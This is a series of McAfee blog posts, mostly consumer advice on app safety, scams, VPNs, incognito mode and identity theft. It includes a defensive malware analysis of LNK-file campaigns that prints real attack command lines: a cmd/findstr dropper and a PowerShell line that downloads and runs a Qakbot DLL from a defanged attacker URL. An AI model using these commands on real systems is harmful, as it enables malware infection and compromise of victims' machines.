It’s a question we get a lot from parents: “How can I keep my kids safe when they are constantly hopping between so many different apps?” We get it, there’s a lot to stay on top and all of it changes constantly. Unfortunately, that question doesn’t have a simple answer. But there are some baseline actions every parent can take to boost their child’s safety on popular apps like TikTok, Snapchat, and Instagram.
The safety equation is threefold, with every piece as important to your child’s overall safety as the next.
A report released in 2021 by Common Sense Media found that teenagers (ages 13-18) use an average of nine hours of entertainment media per day and that tweens (ages 8-12) use an average of six hours a day, not including time spent using media for school or homework. The report also found that boys spend more time on gaming devices while girls spend more time on social media and that mobile devices now account for 41% of all screen time among tweens and 46% among teens.
With those numbers increasing each year, it’s even more important to understand the different ways parents can help kids stay safe. Let’s break down a few safety basics on each app that are easy to access and use.
TikTok has some impressive safety guidelines broken down into topics parents could easily use as a springboard for some great family discussions. The guidelines and the Safety Center cover issues such as dangerous TikTok challenges and how to deal with other digital threats such as bullying, sexual content, fake news, and hateful behavior. You can increase safeguards using TikTok’s:
Every app functions differently and thus, offers different ways to boost security. Snapchat provides a helpful guide for parents and educators, including safety tips and conversation starters. You can increase safeguards using Snapchat’s:
Instagram offers parents and minor users a library of safety and mental health resources accessible via the app’s Community Tab at the bottom of its home page. You can increase safeguards using Instagram’s:
One of the most powerful safety features is you—a child’s mom, dad, or guardian. Your face-to-face, heart-to-heart connection will speak loudest in your child’s life. If you haven’t lately, ask your child what’s going on in their digital life, who their friends are, what they’ve created to share, and what’s new, hilarious, or trending. You may get some resistance now and then but don’t let that discourage you from pressing in and doing all the things that help keep them as safe as possible online.
The post Setting Up Parental Controls in TikTok, Instagram & Snapchat appeared first on McAfee Blog.
In the spirit of #PrideMonth, McAfee hosted month-long celebrations across the world. One of these was a live event hosted by the McAfee Pride Community with a guest speaker from the Resource Center that focused on the history of Pride, support, allyship, and belonging.
We took a moment to ask our event guest speaker, Leslie McMurray, about the work that Resource Center does, the importance of pride, and what companies can do to create inclusive work environments.
“We like to say, if we had an “elevator pitch”, we would need a really tall building! Resource Center has been around for 39 years and is one of the largest LGBTQIA+ community centers in the United States, it is a primary HIV/AIDS service organization in Texas.
Some of the work that we do includes operating a food pantry and hot meal program that serves low-income people living with HIV. We have a case management department that helps locate resources that we don’t directly provide, like housing. And we have a primary care clinic that is gender-affirming and a ten-chair dental clinic that also serves those living with HIV.
We also have a youth program called Youth First that serves youth from middle-to-high school. We have a behavioral health program and a clinic that does free testing for HIV and STDs along with a mobile health unit that does free testing in outlying areas. Finally, our advocacy department has three full-time employees!
“Sometimes we get asked “What’s ‘Pride’ about? Why do you need a parade?”
It’s important to understand that LGBTQIA+ people are still working to achieve equal rights – the same as everyone else.
The tipping point of the fight for equal rights in the US dates back to 1969 when the Stonewall Uprising took place in Manhattan. The first Pride march was held a year later to honor the anniversary of the Stonewall Uprising and continues to take place during the month of June each year. And while we appreciate the attention during the month, the continued fight for equal rights for the LGBTQIA+ community is yearly, and we need continuous support and allyship of people and businesses year-round.
So it’s really important for people to learn about diverse populations, understand what their challenges are, and educate yourself on these issues – from that spring’s allies.”
“One of the simplest things for companies to do is to include ‘Sexual Orientation, Gender Identity and Gender expression’ in your Equal Employment Opportunity statement. Other things companies can do is to look at putting a policy in place for transgender employees who are transitioning and consider including transgender healthcare in your company benefits package.
Make sure to help foster understanding by getting employees to do training with organizations like Resource Center. And empower upper management to lead the way ensuring all employees can bring their whole selves to work. Finally, when the opportunity arises look at working with and bringing in non-profit organizations into your company to continue spreading awareness and support for the LGBTQIA+ community.
And while June wraps up Pride month, year-round we work towards a workplace and community where all can belong – a workplace where our unique differences are celebrated and where we all stand together for equality. #McAfeePride
Learn more about the incredible work that Resource Center does here
Interested in building your career at a company where you can belong? Search our openings!
The post #McAfeePride2022 appeared first on McAfee Blog.
Fewer people carry cash these days, kids included. This growing paperless reality fast-forwards the parenting task of educating kids on financial responsibility. As of 2021, most cash apps allow kids 13 and up to open accounts (previously, the age was 18). Kids can also get a cash app debit card for retail purchases. But while cash apps are a popular and convenient tool, they come with some risks families should consider.
Cash apps allow kids to exchange money with friends directly from a secondary established account, much like handing another person cash. Cash apps have become a popular tool with kids and an easy way to split costs or pay someone for a purchase. Cash apps also come in handy for families and allow parents to instantly send their children money for daily expenses such as school or sports fees, meals, purchases, or entertainment. Some common cash apps include Venmo, Zelle, Cash App (Square), Pay Pal, Zelle, and Facebook Pay, among others.
Sounds awesome right? But with ease comes risk. Most money transfer app funds are not FDIC insured. That means if your child (or you) accidentally sends money to an unintended recipient, they may have a tough time recovering those funds.
Every app comes with some degree of risk. While the leading cash apps are considered secure and can be used with little concern, there’s always the potential of a cyber crook finding a security loophole that exposes your money, banking information, and identity.
The use of cash apps is here to stay and, no doubt, an integral part of the overall paperless fast track we’re all on. Guiding kids into this realm equipped with knowledge and confidence is a powerful way parents can help kids enjoy the responsibility of money without falling prey to digital risks.
The post Kids & Cash Apps: What Parents Need to Know appeared first on McAfee Blog.
In this digital age, communicating online and through our devices has become the norm. From sharing highlights of last night’s game to sending cute animal videos back and forth, so much of our connectedness happens virtually. It’s become so easy to chat with friends and loved ones through social media that we don’t even have to think about it. We know who’s on the other end of the screen, so why would we worry? We know our friends would never send us a malicious link that would steal our information, so why be cautious? Right?
Not necessarily. Though a message or link may seem like it’s coming from a friend, it’s also possible that it was sent without their knowledge. There are many ways for hackers to scam people very believably. The latest Facebook Messenger hack is just one of many examples.
According to PIXM, Facebook users have been conned for several months by a phishing scam that tricks them into handing over their account credentials. Users are shown a fake login page that copies Facebook’s user interface, giving it the illusion of being real. When someone enters their credentials, their password and login combo is sent to the hacker who then sends out the same link and fake login to the user’s friends through Facebook Messenger. Any user who clicks the link is asked to fill out their credentials, and the cycle repeats. PIXM estimates that over 10 million Facebook users have been duped by this scam since 2021.
This hacker was able to utilize a technique to evade Facebook’s security checks. When a user clicks on the link in the Messenger app, the browser redirects to a legitimate app deployment service, then redirects again to the actual phishing pages with advertisements and surveys that accrue revenue for the hacker. Using this legitimate service link prevents Facebook from blocking it without blocking other legitimate apps and links as well. Researchers say that even if Facebook managed to block one of these links, several others are created with new unique IDs every day to replace it.
Phishing scams like these are harder to detect due to the realistic-looking interface on the login pages and that these malicious links are seemingly coming from friends and family. However, there are always key things to look out for when faced with phishing scams.
Scams don’t always come from overtly sketchy emails or text messages from strangers. Sometimes they can (unintentionally) come from people we know personally. This isn’t to say that your friends online can’t be trusted! However, it’s important to always be cautious and keep an eye out for any odd behavior to stay on the safe side. Here are some key things to look out for when faced with potential malicious phishing scams:
When in doubt, just ask! If you’ve received a message and a link from a friend online, simply ask if they meant to send it to you. If they didn’t send it themselves, not only did you dodge a bullet, but your friend is also now aware that they’ve been hacked and can take the necessary precautions to ensure their information is protected. And if they did mean to send it to you, then you can click the link knowing that it’s safe to do so. It’s always best to err on the side of caution when it comes to your online security.
The post Over 10 Million Facebook Users Hacked in Ongoing Phishing Scam appeared first on McAfee Blog.
It’s Social Media Day! How are you celebrating? Reposting your very first profile picture from a decade ago? Sharing your most-loved status update or the photo you’re most proud of? This year, consider commemorating the day by learning more about how to keep your information safe. Enjoy your favorite platform, but be on the lookout for scams, such as social engineering.
Social engineering is a cybercrime common to social media sites. It is a tactic where a cybercriminal lurks on people’s social media pages, gleaning personal information that they then use to impersonate them elsewhere.
With more than half of the global population on social media, you may think that a cybercriminal will never single you out from such a huge pool; however, it is possible.1 Luckily, you only have to make a few, easy changes to your online habits to keep your valuable private information just that: private. Check out these tips to make smart decisions and be more confident about your and your family’s online security.
Think of the types of posts you share with your dozens – or even hundreds or thousands! – of followers: updates about your life, where you live, work, or favorite travel destinations, your hobbies, pets, family members, etc. All of these details, that only you and those closest to you should know, are a valuable commodity to cybercriminals. Plus, now that social media shopping is growing in popularity, the credit card information linked to accounts is sweetening the deal for cybercriminals.
Here are a few social engineering scams that are common to social media.
People commonly create passwords based on things, places, and people that are important. Have you ever published a 20 questions-style get-to-know-me post? Those contain a lot of valuable personally identifiable information (PII). With just a few of those details about your personal life, cybercriminals can make educated guesses at your passwords, a tactic called credential stuffing. If they’re able to crack the code to one of your accounts, they’ll then input that password and login variations in several other sites, especially online banking portals, to see if they can gain entry to those too.
You’ve won! Send us your banking information and address, and you’ll receive a package in the mail or a direct deposit to your bank account!
But did you enter a drawing for a prize? Very rarely does anyone win something just by being a follower of a certain page. If you receive a message similar to the above, it’s likely a phisher trying to draw more PII and sensitive banking information out of you. Or, the message may have links within it that redirect to an untrustworthy site. If you regularly enter social media contests, keep a list and only respond to legitimate ones. Also, never give your banking information out over social media, private messages, or email.
There are plenty of valid fundraisers and petitions circulating around social media; however, there are just as many social engineering scams that dupe social media users because they inspire a strong emotion in them. For example, there have been several scams around Ukrainian donation sites. Cybercriminals often use fear, anger, or sadness to inspire people to open their wallets and share confidential banking information.
Luckily, all it takes is a few smart habits to stop social engineers in their tracks. Consider the following tips and make these small changes to your social media usage:
At this point, you’ve probably had several of your social media accounts active for over a decade. That means it’s time to do some cleaning out of your friends and followers lists. It’s best to only accept requests from people you personally know and would actually like to keep in the loop about your life. A friend and follower request from strangers could be cyber criminals in disguise. Also, consider setting your account to private so that your posts are invisible to strangers.
Social engineering hacks often bank on people acting rashly and quickly because of strong emotion, either excitement, fear, sadness, or anger. If you see a post on your newsfeed or receive a direct message that gives you a tight window to respond and asks for PII, slow down and think before acting. Double-check the destination of every link in the message by hovering over it with your cursor and checking the link preview at the bottom of your browser screen. Be careful, because some link previews include slight misspellings of legitimate websites. As a great rule of thumb, be automatically skeptical of direct messages from people you do not personally know. And if a DM from a friend seems out of the ordinary, shoot them a text to confirm they actually sent it. It could be that their social media account was hacked and a criminal is spamming their followers.
A password manager will go a long way toward ensuring you have unique, strong passwords and passphrases for every account. Not reusing passwords makes credential stuffing impossible. McAfee True Key stores all your logins and passwords and guards them with one of the strongest encryption algorithms available. All you need to do is remember your master password. It’s a great practice to also enable multifactor authentication whenever a website offers it. This makes it incredibly difficult for a cybercriminal to break into your online accounts with their educated guesses at your password.
Now that you know what to look for and the best tricks to be safe, you can feel more confident that you’re doing everything you can to protect your online accounts and private information. McAfee Protection Score can also help you take control of your online safety. This service allows you to monitor your current online safety and encourages you to take specific steps to improve it. Now you can enjoy digitally keeping in touch with your friends with peace of mind!
1Smart Insights, “Global social media statistics research summary 2022”
The post It’s Social Media Day! Here’s How to Protect Yourself From Social Engineering Online appeared first on McAfee Blog.
If you’re one of the countless Apple iPhone owners out there, there’s a good chance that one of the reasons you love your smartphone is because you’ve heard that Apple devices tend to have fewer vulnerabilities to viruses.
Because of their shared operating system, iOS devices enjoy Apple’s security measures, which keeps them protected from malware and viruses differently from most Android devices.
This is great, right? Certainly! But it’s also important to remember that nothing digital or internet-related is ever foolproof, and while it’s rare, even iOS operating systems can be affected by malicious software.
The great news is that protecting yourself from iPhone viruses and hackers isn’t hard. Read on to learn more.
Although Apple has designed its iOS system to be pretty untouchable, it’s still possible to get a virus on your iPhone.
The biggest way this can happen is through something called “jailbreaking,” which is when you bypass the restrictions on the Apple operating system. You might do this to gain more control over your device, downloading any apps or programs from anywhere on the internet. It basically lets you do whatever you want with your iPhone.
A major reason that mobile security is so seamless with Apple’s iOS is that — unlike Android and Microsoft Windows products — Apple devices are designed to work only inside set parameters that “talk” exclusively to other approved Apple apps or devices.
This is all controlled by Apple encryption, making your iPhone security rather impervious to malicious apps. You might also notice that there are no antivirus apps in the App Store, which isn’t a coincidence!
But when you jailbreak an iPhone, this means you’ve opened the iOS to a wider range of apps, features, and themes — none of which are approved by Apple!
So, you won’t benefit from the virus protection that comes from having a closed system, meaning you can expose your iPhone to adware, scams, and other internet security issues that Apple permissions blocked.
So, you’ve jailbroken your iPhone and are out of Apple’s famously closed sandbox. While it’s not an ideal situation, it’s not the end of the world. You may need antivirus protection now. This is especially true if you frequently use public Wi-Fi.
Here are a few potential threats that a jailbroken iPhone might face:
If you’re worried about the Wi-Fi you used at a coffee shop last week and are searching for the “best antivirus protection for Apple,” don’t curse that java-inspired Safari surf just yet.
There are a few telltale signs that your iPhone or another Apple device has been infected with a virus. They include:
The first and best way to protect your Apple device from cybersecurity concerns is to avoid jailbreaking it. While an iPhone might be limited in what apps and themes you can enjoy, its built-in security features really can’t be beaten.
Here are some other ways you can keep your iPhone safe from malware and viruses:
In this day and age, we all live on our devices. And while it’s great to have the built-in security of Apple’s iOS, why settle for just one line of defense?
For complete protection against malicious software like viruses, malware, and more, look to McAfee Total Protection. Our all-in-one approach means you’re shielded from data breaches, have access to a secure VPN, and can receive up to $1 million in identity theft coverage. The best part is that it works for multiple devices, including Mac OS and iOS.
Enjoy the peace of mind that comes with having McAfee in your corner.
The post Does an iPhone Need Antivirus Software? appeared first on McAfee Blog.
Heard of the sandwich generation? Well, if you’ve got a tribe of kids and parents who are aging then you are a fully-fledged member! And as members of this special club, not only do we need to manage and keep our offspring in check, but we also have to reserve some energy to help our parents navigate life’s challenges which of course includes the online world.
In the broadest sense, the sandwich generation is the ‘caught in the middle’ generation who have living parents and children to care for. More often than not, it’s people like us, smack-bang in middle age, who support both their parents and children financially, physically, and/or emotionally. And with life expectancies looking rosier than ever and many of us choosing to have careers before we become parents, it’s inevitable that us middle-aged folks are feeling a little squeezed at both ends!
Getting our head around keeping our kids safe online can feel overwhelming for many of us. Keeping up with the latest apps, games and platforms can often feel relentless and let’s not forget about trying to weave in cyber safety messages to ensure our kids make safe decisions online too. But when the downside of not being vigilant about online safety is so great, it’s essential that we extend our digital education messages to the older members of the family too!
One of the silver linings of the pandemic is that it gave a real push to those who were resisting getting online. And in most cases, that was the older member of our society. Research from ACMA shows that by 2020, over 90% of Australian seniors had internet connectivity in their homes compared to 68% in 2017. But as we all know, owning a car and driving it are 2 very different tasks!
My parents, who are both in their late 70’s, do a pretty good job of managing their online lives. They bank online, are avid email senders and can even do a little Facetime, thanks to COVID! But they are a work in progress – like everyone. And while I try very hard to keep them up to date with new apps and risks, I have learnt over the years that less is more. That not overwhelming them is actually the key. In fact, the simpler I keep my updates and tips, the more likely they are to get onboard with my message.
So, in the spirit of the experience with my much-loved mum and Dad, I‘d like to share with you the top things you can do to keep your much loved older family members safe when they go online.
I accept that there are no real guarantees in life but there are risk-minimizing decisions. And ensuring all devices have top-level security software is one of those. Not only will this protect your loved ones from downloading viruses and malware, but it will also allow them to shop with confidence at approved ‘safe’ websites, help them manage their passwords, locate their devices plus loads more. It’s such a small price to pay for increased peace of mind. Check out McAfee+ protection which can protect your family’s entire fleet of devices.
A secure password is a key to keeping one’s online life safe so taking some time to formulate a strategy for older family members is so worthwhile. Downloading a password manager was a total life changer for me. Not only did it help me create complex passwords that no human could ever generate but it remembers them for me too. I only have to remember the master password and it then automatically logs me in! Now, if this was set up carefully for older family members, this could be an amazing tool to protect their online life.
I am also very aware that writing down passwords ‘in a special book’ is used very commonly. And if this is the only way that will work for your family members then try to make these passwords as complex as possible without overwhelming them. A complex, nonsensical sentence would work well here but just ensure each account has its own sentence in case the account gets hacked.
Out-of-date software is a little like leaving your front door unlocked – it makes it far easier for unwanted visitors. In almost every case, a software update includes a patch for a security vulnerability – a weak hole in the company’s software that could expose the user to risk. So, when I discovered that my parents were ignoring reminders for updates as they had become very annoying, I sprang into action! Most software updates can be automated so I strongly encourage taking some time to ensure all the software your family members use is set up to update automatically.
Unfortunately, older Aussies are often the target of online scams. Scammers will work overtime to get their trust with the aim of extracting dollars or their personal details. I wish I had a silver bullet that would protect all vulnerable types from these cybercrims, but I don’t. The next best option is to talk about scams and some of the sneaky techniques scammers will use with them. I remind my parents regularly not to reply to emails from people they don’t know, not to even answer calls from numbers they aren’t familiar with and that if they receive a call from their bank and they aren’t sure whether it is legitimate, ask for the caller’s number so you can ring them bank – if the caller is legit, that won’t be a problem.
If you think about it, keeping your older family members only is simply an extension of keeping your kids safe. The messages and strategies are almost identical! So, if your older family members use a Messenger app, why not set up a family group chat with both the younger and older family members? You can share news stories about online risks and better still, get the kids involved too! So, next time your parents have an issue with their phone – the kids will be able to help out! Awesome!!
Take care
Alex xx
The post Online Safety for Seniors – How to Keep Older Family Members Safe Online appeared first on McAfee Blog.
In today’s connected world, you can do so much on the internet. It’s never been easier to stay entertained (Netflix, anyone?), informed, and productive. But it’s important to keep your online activities private and safe, whether you’re checking social media, using a streaming service, or banking online.
With the right solutions, you can have a worry-free online experience.
Thankfully, virtual private network (VPN) software keeps your data secure by hiding your IP address (the address your device uses to access the network). In this article, discover the benefits of a VPN, learn how to set one up, and review some things to consider when looking for the right VPN solution for you.
A virtual private network (VPN) is software that protects your internet connection by keeping your IP address secure and anonymous. Essentially, it opens a private tunnel just for you!
It does this by making a secure connection between your internet-connected device and a remote VPN server. It also encrypts the information you upload onto the internet, preventing others from intercepting it.
This means you can feel confident surfing the web without worrying about other people uncovering your location, identity, or online activity.
A perfect digital world wouldn’t have malware, website trackers, ISP data throttling, or prying eyes. Thankfully, investing in a good VPN can help you overcome a lot of these challenges.
Here’s a little more detail about the benefits of a VPN:
Investing in the right tools is a surefire way to make yourself feel less vulnerable to online risks. Rather, you’ll feel empowered to enjoy a care-free online experience.
McAfee® Safe Connect VPN is one such tool that gives you the freedom to enjoy all the good things that the internet offers without worrying about online privacy or safety.
This tool works on multiple platforms, including Microsoft Windows, macOS, Android, and iOS. More importantly, McAfee Safe Connect VPN is easy to set up on different devices, allowing you to benefit from bank-grade AES 256-bit encryption. So, you can browse the internet using Chrome or another browser and connect via public Wi-Fi without losing sleep over vulnerability to risks.
Depending on your preferences, it’s possible to set up a VPN automatically or manually. We discuss the steps to set up a VPN manually in the sections below.
Easy setup and connection to a VPN server are key factors when choosing the right tool or software for your needs. On a Windows 10 system, just follow a few steps to establish a secure and stable connection.
The next time you need to set up a VPN on a Mac computer, you’ll be pleased to know that the setup steps are short and sweet.
Here’s what you need to do.
Picking the best VPN solution that takes care of your privacy needs involves ticking various boxes based on the features and functionality that matter most to you.
Here are some things to look for in a virtual private network:
If you have a mobile device like an Apple iPhone or Android device, you can also enjoy the benefits that come with using a VPN.
Setting up and using a VPN like McAfee’s Safe Connect VPN on an Android device or iOS platform is super easy. Just download the VPN from the app store or the McAfee website, and you’re good to go.
McAfee offers both a free VPN (with 250 MB of free data every month and protection for one device) and paid subscription plans that come with unlimited data and protection for up to five devices. You can also enjoy a 30-day free trial to see if it’s the right VPN for you.
It’s usually fine to just use the default settings, too, so you don’t have to do anything else other than login.
Hiding your IP address and maximizing privacy has never been easier thanks to virtual private networks. These tools can also protect you from prying eyes by converting the information you upload to the internet into code using advanced encryption technology.
VPNs have several advantages, including getting around website trackers used by advertisers to monitor your online activities. Another thing to remember is that it’s relatively easy to set one up no matter your operating system.
If you’re looking for the right VPN solution for you, consider McAfee Secure VPN — included in McAfee Total Protection — which comes with the latest encryption technology. Whether you install the software on your mobile or desktop device, you can be confident that you and your family’s sensitive data is secure.
The post How to Set Up a VPN appeared first on McAfee Blog.
Authored by Lakshya Mathur
An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.
During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.
In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.
Below is a screenshot of how these shortcut files look to a normal user.
With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.
Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.
We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.
In Figure 4 we can see the lure message and attached malicious LNK file.
The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:
As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.
In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%\YlScZcZKeP.vbs” & “%tmp%\YlScZcZKeP.vbs”
Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs
The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.
The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.
This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.
Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties
The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.
The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe
The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.
This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.
In Figure 10 the full target part argument is “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMP\test.dll;Start-Process rundll32.exe $env:TEMP\test.dll,jhbvygftr”
When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll
This is the main Qakbot DLL payload which is then executed using the rundll32 utility.
As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.
We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.
Type | SHA-256 | Scanner | |
Emotet LNK | 02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71 | WSS | LNK/Emotet-FSE |
IcedID LNK | 24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9 | WSS | LNK/Agent-FTA
Suspicious ZIP!lnk |
Qakbot LNK | b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172 | WSS | LNK/Agent-TSR
|
URLs (Uniform Resource Locator) | hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/
hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png |
WebAdvisor | All URLs Blocked |
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The internet makes it easy to get a lot done, but not all of it needs to be public. That’s where incognito mode comes in, letting you hide your search history from others who are using your internet-connected device. For example, imagine searching online for “ideas for a surprise birthday party.” You wouldn’t want the guest of honor to see that if they use your shared computer!
What most people don’t realize, though, is that incognito mode or private browsing isn’t really private. If you want to have a private browsing session, it helps to understand what incognito mode does and doesn’t do.
In this article, we’ll explain what incognito mode is, how to turn it on using different search engines and mobile devices, and why a VPN like McAfee Secure VPN might be a better option for safeguarding your privacy.
When you search the internet, your web browser automatically saves the history of your searches. In incognito mode, however, it deletes this information when you end the session.
Google Chrome coined “incognito mode,” so the term is pretty popular. Other web browsers might refer to it differently. For example, Firefox calls it “private mode,” while Safari uses the term “private browsing.”
When you search the internet in private browsing mode, your browser won’t save the history of the websites once you close all of the incognito tabs. This deleted information might include:
Incognito mode can be super convenient but, as we said, it’s not really private. While it’s true that anyone using your device won’t be able to view your history, your browsing can still be viewed by outside eyes, like:
Every major browser and mobile device has a type of private browsing. Here’s how to access incognito mode in a few different ways.
It’s easy to launch a search in incognito mode in Google Chrome. Just follow these steps:
You’ll know you’re in Chrome’s incognito mode by the black background and spy icon on the homepage. Here, Chrome reminds you of what incognito mode will and won’t do.
There is also a toggle to block third-party cookies. When you visit different websites while in incognito mode, websites can track your movement. They might use that data to target ads based on your search history. When you enable third-party cookie blocking, it stops sites from sharing cookies and data.
Here’s how to set it up in the Google Chrome browser for your Android (note that the Google Chrome app is the default browser for most Android phones):
Remember, for Google Chrome’s incognito mode to do the trick, you need to close your browsing session after each use. If you leave the tab open and someone else uses your phone, they can see your activity.
What Chrome calls “incognito mode,” Mozilla Firefox refers to as “private browsing.” There are a couple of ways to launch a private window using the steps below:
The private browsing window has a dark-purple background and a mask icon. This homepage also describes the limitations of private browsing.
With its Enhanced Tracking Protection, Firefox blocks third-party tracking across sites. This is a default protection on Firefox, so cookies are blocked across sites no matter which privacy setting a user chooses.
Apple’s Safari was the first to introduce private browsing for Apple devices in 2005. Users have a couple of ways to open a private window on a Mac or an iOS device. They include:
Your sign that you’re in a private browser window is a dark gray search bar. Like Firefox, Safari lets you block third-party tracking (you’ll just need to adjust your settings to do so). Choose Safari on your Mac. Go to “Preferences” and click “Privacy.” Then, select “Prevent cross-site tracking.”
For iPhones, the default browser is Safari. Here’s how to set up private browsing in Safari for your iPhone:
Remember to close your browser’s private tabs when you’re done surfing. This makes sure that cookies are deleted and the private session is safely hidden from your device’s history.
Doing a private search that erases your browsing history can be useful in certain situations. Because some cookies are deleted at the end of your search, you’ll see fewer ads than in a normal search.
If there’s something you don’t want to keep in your browser history, like shopping for a gift for a relative, an incognito search can keep your activity private.
It’s also a good idea to use incognito mode when using a public device or a borrowed computer to protect your data.
Incognito mode is even helpful if you want to do a search that’s not influenced by your browsing history or to see your blog or website from a fresh perspective.
The terms “private search” and “incognito mode” sound great. But while your history is erased on your device, it’s still visible to the outside world. Even when you’re in incognito mode, websites, your ISP, and your network can still see your IP address and browsing history.
Not to mention, it won’t delete any files you download, like malicious software. While someone using your device won’t be able to see your browsing history, incognito mode won’t be able to stop hackers and identity thieves in their tracks.
If you really want to hide your computer’s IP address and browse privately while keeping your data safe, it’s a good idea to look into a VPN service, like McAfee Secure VPN. With our smart VPN, you can browse confidently and stay anonymous from advertisers and prying eyes. You’ll also benefit from bank-grade encryption and automatic protection on unsecured networks.
If your goal is to keep prying eyes out of your browsing history, incognito browsing might not be enough. Use a McAfee Secure VPN for worry-free browsing.
For added security, though, upgrade to McAfee Total Protection Ultimate and enjoy antivirus protection, identity monitoring, and more!
The post What Is Incognito Mode and How Safe Is It? appeared first on McAfee Blog.
The internet is a big place. While it’s changed the world for the better — making our daily lives that much easier! — it can also be a playground for cybercriminals who would love to get their hands on our personal information.
When this happens, it can result in identity theft. While it can be scary to deal with, there are things you can do to protect yourself and recover from this type of cybercrime.
In this article, we’ll tell you what identity theft is and how to recognize its various forms. We’ll also go over what you can do to bounce back after your identity has been taken.
Life online presents so many cool opportunities, but it can also make us vulnerable to cybercriminals. But that doesn’t mean you need to get offline. A little knowledge can go a long way in keeping you safe. It all starts with understanding what identity theft is.
Identity theft is when someone steals your personal or financial information to commit fraud or deception, typically for monetary gain. Depending on their goals, they might take a variety of information. Unfortunately, this is something most people will experience — either directly or indirectly — at some point in their lives.
What makes identity theft really troublesome is that the consequences can go beyond just affecting your credit score. You might experience issues while trying to get jobs, see an increase in your auto insurance rate, get a surprise tax bill, and even find out you have a criminal record! Not to mention it can cost a lot of time and money to fix.
Just as important as it is to understand what identity theft is, it’s also important to know the different types of identity theft so you can keep an eye out.
You work, play, and shop on the internet every day, but you shouldn’t let the fear of identity theft stop you from doing what you enjoy online. All it takes is a little information to outsmart online criminals — including knowing the different types of identity theft. They include:
How does an identity thief get your information? Any time you make a purchase, subscribe to a website, file a tax return, or do anything else online, you share your personal information. And some cybercriminals are pretty good at getting that information for themselves.
Here are a few of the most common ways thieves can get access to your data:
The type of information that hackers take during a breach can vary widely. It just depends on what information a company stores, what data the cybercriminal can access, and even the purpose of the attack. A hacker might be making a political statement or simply “showing off” their skills.
During a breach, hackers target information that can be resold on the dark web or used for identity fraud, like debit card or credit card accounts. They might also collect data like people’s full names, email addresses, passwords, Social Security numbers, and driver’s license numbers.
Dealing with identity theft can be stressful and a little bit scary, but we promise it’s not the end of the world. The important thing is to be quick about it and stay alert for signs of identity theft, like:
The good news is that if you’re ever the victim of identity theft, there are several things you can do to limit and reverse that damage. We’ll explore these steps in the next few sections.
Notify your credit card company, financial institution, or the business where the thief is using your data right away. For example, if the criminal is using your credit card number to buy clothing online, contact the store immediately. They’ll be able to stop any further purchases from being made.
Banks don’t like scams, either. Some banks may require you to show them a police report about your identity theft before they’ll refund any fraudulent charges or withdrawals. Call your local law enforcement office to report identity theft as soon as you can.
Before speaking to an officer, though, take the time to go over all the information so you don’t leave anything out. Be as detailed as possible. Let the cops know how your sensitive information was used and what dates and times it was used. You may want to bring a copy of your bank statement as proof.
One of the biggest pains about identity theft is that it can affect your credit score, which can affect your ability to do things like secure a business loan or buy a house. File a fraud alert with each of the three major credit bureaus — TransUnion, Equifax, and Experian — and let them know which activity on your credit report is false.
When you file a report with the Federal Trade Commission (FTC), they’ll create a free recovery plan for you to deal with your identity being stolen. The FTC is a government organization that protects the rights of consumers. You can get started by visiting IdentityTheft.gov.
